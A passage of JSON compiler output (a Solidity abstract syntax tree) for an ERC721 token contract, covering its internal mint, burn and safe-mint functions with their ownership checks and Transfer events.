\"ALREADY_MINTED\""}],"id":33322,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"6003:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33332,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6003:53:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33333,"nodeType":"ExpressionStatement","src":"6003:53:21"},{"expression":{"id":33337,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"6123:16:21","subExpression":{"baseExpression":{"id":33334,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32939,"src":"6123:10:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":33336,"indexExpression":{"id":33335,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33307,"src":"6134:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"6123:14:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":33338,"nodeType":"ExpressionStatement","src":"6123:16:21"},{"expression":{"id":33343,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":33339,"name":"_ownerOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32935,"src":"6150:8:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33341,"indexExpression":{"id":33340,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33309,"src":"6159:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"6150:12:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":33342,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33307,"src":"6165:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"6150:17:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":33344,"nodeType":"ExpressionStatement","src":"6150:17:21"},{"eventCall":{"arguments":[{"arguments":[{"hexValue":"30","id":33348,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6200:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":33347,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6192:7:21","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":33346,"name":"address","nodeType":"ElementaryTypeName","src":"6192:7:21","typeDescriptions":{}}},"id":33349,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6192:10:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33350,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33307,"src":"6204:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33351,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33309,"src":"6208:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33345,"name":"Transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31984,"src":"6183:8:21","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":33352,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6183:28:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33353,"nodeType":"EmitStatement","src":"6178:33:21"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_mint","nameLocation":"5889:5:21","parameters":{"id":33310,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33307,"mutability":"mutable","name":"to","nameLocation":"5903:2:21","nodeType":"VariableDeclaration","scope":33355,"src":"5895:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33306,"name":"address","nodeType":"ElementaryTypeName","src":"5895:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33309,"mutability":"mutable","name":"id","nameLocation":"5915:2:21","nodeType":"VariableDeclaration","scope":33355,"src":"5907:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33308,"name":"uint256","nodeType":"ElementaryTypeName","src":"5907:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"5894:24:21"},"returnParameters":{"id":33311,"nodeType":"ParameterList","parameters":[],"src":"5936:0:21"},"scope":33498,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":33401,"nodeType":"FunctionDefinition","src":"6224:283:21","nodes":[],"body":{"id":33400,"nodeType":"Block","src":"6268:239:21","nodes":[],"statements":[{"assignments":[33361],"declarations":[{"constant":false,"id":33361,"mutability":"mutable","name":"owner","nameLocation":"6286:5:21","nodeType":"VariableDeclaration","scope":33400,"src":"6278:13:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33360,"name":"address","nodeType":"ElementaryTypeName","src":"6278:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":33365,"initialValue":{"baseExpression":{"id":33362,"name":"_ownerOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32935,"src":"6294:8:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33364,"indexExpression":{"id":33363,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33357,"src":"6303:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6294:12:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"6278:28:21"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":33372,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33367,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33361,"src":"6325:5:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":33370,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6342:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":33369,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6334:7:21","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":33368,"name":"address","nodeType":"ElementaryTypeName","src":"6334:7:21","typeDescriptions":{}}},"id":33371,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6334:10:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"6325:19:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e4f545f4d494e544544","id":33373,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6346:12:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_e904b298bc24890ae0c043938d840f08b90773c1635904efe1336d6f851f98ca","typeString":"literal_string \"NOT_MINTED\""},"value":"NOT_MINTED"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_e904b298bc24890ae0c043938d840f08b90773c1635904efe1336d6f851f98ca","typeString":"literal_string \"NOT_MINTED\""}],"id":33366,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"6317:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33374,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6317:42:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33375,"nodeType":"ExpressionStatement","src":"6317:42:21"},{"expression":{"id":33379,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"--","prefix":false,"src":"6370:19:21","subExpression":{"baseExpression":{"id":33376,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32939,"src":"6370:10:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":33378,"indexExpression":{"id":33377,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33361,"src":"6381:5:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"6370:17:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":33380,"nodeType":"ExpressionStatement","src":"6370:19:21"},{"expression":{"id":33384,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"delete","prefix":true,"src":"6400:19:21","subExpression":{"baseExpression":{"id":33381,"name":"_ownerOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32935,"src":"6407:8:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33383,"indexExpression":{"id":33382,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33357,"src":"6416:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"6407:12:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33385,"nodeType":"ExpressionStatement","src":"6400:19:21"},{"expression":{"id":33389,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"delete","prefix":true,"src":"6430:23:21","subExpression":{"baseExpression":{"id":33386,"name":"_getApproved","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32990,"src":"6437:12:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33388,"indexExpression":{"id":33387,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33357,"src":"6450:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"6437:16:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33390,"nodeType":"ExpressionStatement","src":"6430:23:21"},{"eventCall":{"arguments":[{"id":33392,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33361,"src":"6478:5:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"hexValue":"30","id":33395,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6493:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":33394,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6485:7:21","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":33393,"name":"address","nodeType":"ElementaryTypeName","src":"6485:7:21","typeDescriptions":{}}},"id":33396,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6485:10:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33397,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33357,"src":"6497:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33391,"name":"Transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31984,"src":"6469:8:21","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":33398,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6469:31:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33399,"nodeType":"EmitStatement","src":"6464:36:21"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_burn","nameLocation":"6233:5:21","parameters":{"id":33358,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33357,"mutability":"mutable","name":"id","nameLocation":"6247:2:21","nodeType":"VariableDeclaration","scope":33401,"src":"6239:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33356,"name":"uint256","nodeType":"ElementaryTypeName","src":"6239:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6238:12:21"},"returnParameters":{"id":33359,"nodeType":"ParameterList","parameters":[],"src":"6268:0:21"},"scope":33498,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":33440,"nodeType":"FunctionDefinition","src":"6701:343:21","nodes":[],"body":{"id":33439,"nodeType":"Block","src":"6761:283:21","nodes":[],"statements":[{"expression":{"arguments":[{"id":33409,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33403,"src":"6777:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33410,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33405,"src":"6781:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33408,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33355,"src":"6771:5:21","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":33411,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6771:13:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33412,"nodeType":"ExpressionStatement","src":"6771:13:21"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":33435,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33417,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"6816:16:21","subExpression":{"arguments":[{"id":33415,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33403,"src":"6829:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":33414,"name":"_isContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33497,"src":"6817:11:21","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":33416,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6817:15:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"id":33434,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"expression":{"id":33422,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"6894:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33423,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6898:6:21","memberName":"sender","nodeType":"MemberAccess","src":"6894:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"hexValue":"30","id":33426,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6914:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":33425,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6906:7:21","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":33424,"name":"address","nodeType":"ElementaryTypeName","src":"6906:7:21","typeDescriptions":{}}},"id":33427,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6906:10:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33428,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33405,"src":"6918:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"","id":33429,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6922:2:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"arguments":[{"id":33419,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33403,"src":"6873:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":33418,"name":"IERC721TokenReceiver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33512,"src":"6852:20:21","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC721TokenReceiver_$33512_$","typeString":"type(contract IERC721TokenReceiver)"}},"id":33420,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6852:24:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC721TokenReceiver_$33512","typeString":"contract IERC721TokenReceiver"}},"id":33421,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6877:16:21","memberName":"onERC721Received","nodeType":"MemberAccess","referencedDeclaration":33511,"src":"6852:41:21","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$_t_bytes_memory_ptr_$returns$_t_bytes4_$","typeString":"function (address,address,uint256,bytes memory) external returns (bytes4)"}},"id":33430,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6852:73:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"expression":{"id":33431,"name":"IERC721TokenReceiver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33512,"src":"6949:20:21","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC721TokenReceiver_$33512_$","typeString":"type(contract IERC721TokenReceiver)"}},"id":33432,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6970:16:21","memberName":"onERC721Received","nodeType":"MemberAccess","referencedDeclaration":33511,"src":"6949:37:21","typeDescriptions":{"typeIdentifier":"t_function_declaration_nonpayable$_t_address_$_t_address_$_t_uint256_$_t_bytes_calldata_ptr_$returns$_t_bytes4_$","typeString":"function IERC721TokenReceiver.onERC721Received(address,address,uint256,bytes calldata) returns (bytes4)"}},"id":33433,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6987:8:21","memberName":"selector","nodeType":"MemberAccess","src":"6949:46:21","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"src":"6852:143:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"6816:179:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"554e534146455f524543495049454e54","id":33436,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7009:18:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_91aca405bce635db2380c779628055bea528973696064aeec59f909f41accf6d","typeString":"literal_string \"UNSAFE_RECIPIENT\""},"value":"UNSAFE_RECIPIENT"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_91aca405bce635db2380c779628055bea528973696064aeec59f909f41accf6d","typeString":"literal_string \"UNSAFE_RECIPIENT\""}],"id":33413,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"6795:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33437,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6795:242:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33438,"nodeType":"ExpressionStatement","src":"6795:242:21"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_safeMint","nameLocation":"6710:9:21","parameters":{"id":33406,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33403,"mutability":"mutable","name":"to","nameLocation":"6728:2:21","nodeType":"VariableDeclaration","scope":33440,"src":"6720:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33402,"name":"address","nodeType":"ElementaryTypeName","src":"6720:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33405,"mutability":"mutable","name":"id","nameLocation":"6740:2:21","nodeType":"VariableDeclaration","scope":33440,"src":"6732:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33404,"name":"uint256","nodeType":"ElementaryTypeName","src":"6732:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6719:24:21"},"returnParameters":{"id":33407,"nodeType":"ParameterList","parameters":[],"src":"6761:0:21"},"scope":33498,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":33481,"nodeType":"FunctionDefinition","src":"7050:364:21","nodes":[],"body":{"id":33480,"nodeType":"Block","src":"7129:285:21","nodes":[],"statements":[{"expression":{"arguments":[{"id":33450,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33442,"src":"7145:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33451,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33444,"src":"7149:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33449,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33355,"src":"7139:5:21","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":33452,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7139:13:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33453,"nodeType":"ExpressionStatement","src":"7139:13:21"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":33476,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33458,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"7184:16:21","subExpression":{"arguments":[{"id":33456,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33442,"src":"7197:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":33455,"name":"_isContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33497,"src":"7185:11:21","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":33457,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7185:15:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"id":33475,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"expression":{"id":33463,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"7262:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33464,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7266:6:21","memberName":"sender","nodeType":"MemberAccess","src":"7262:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"hexValue":"30","id":33467,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"7282:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 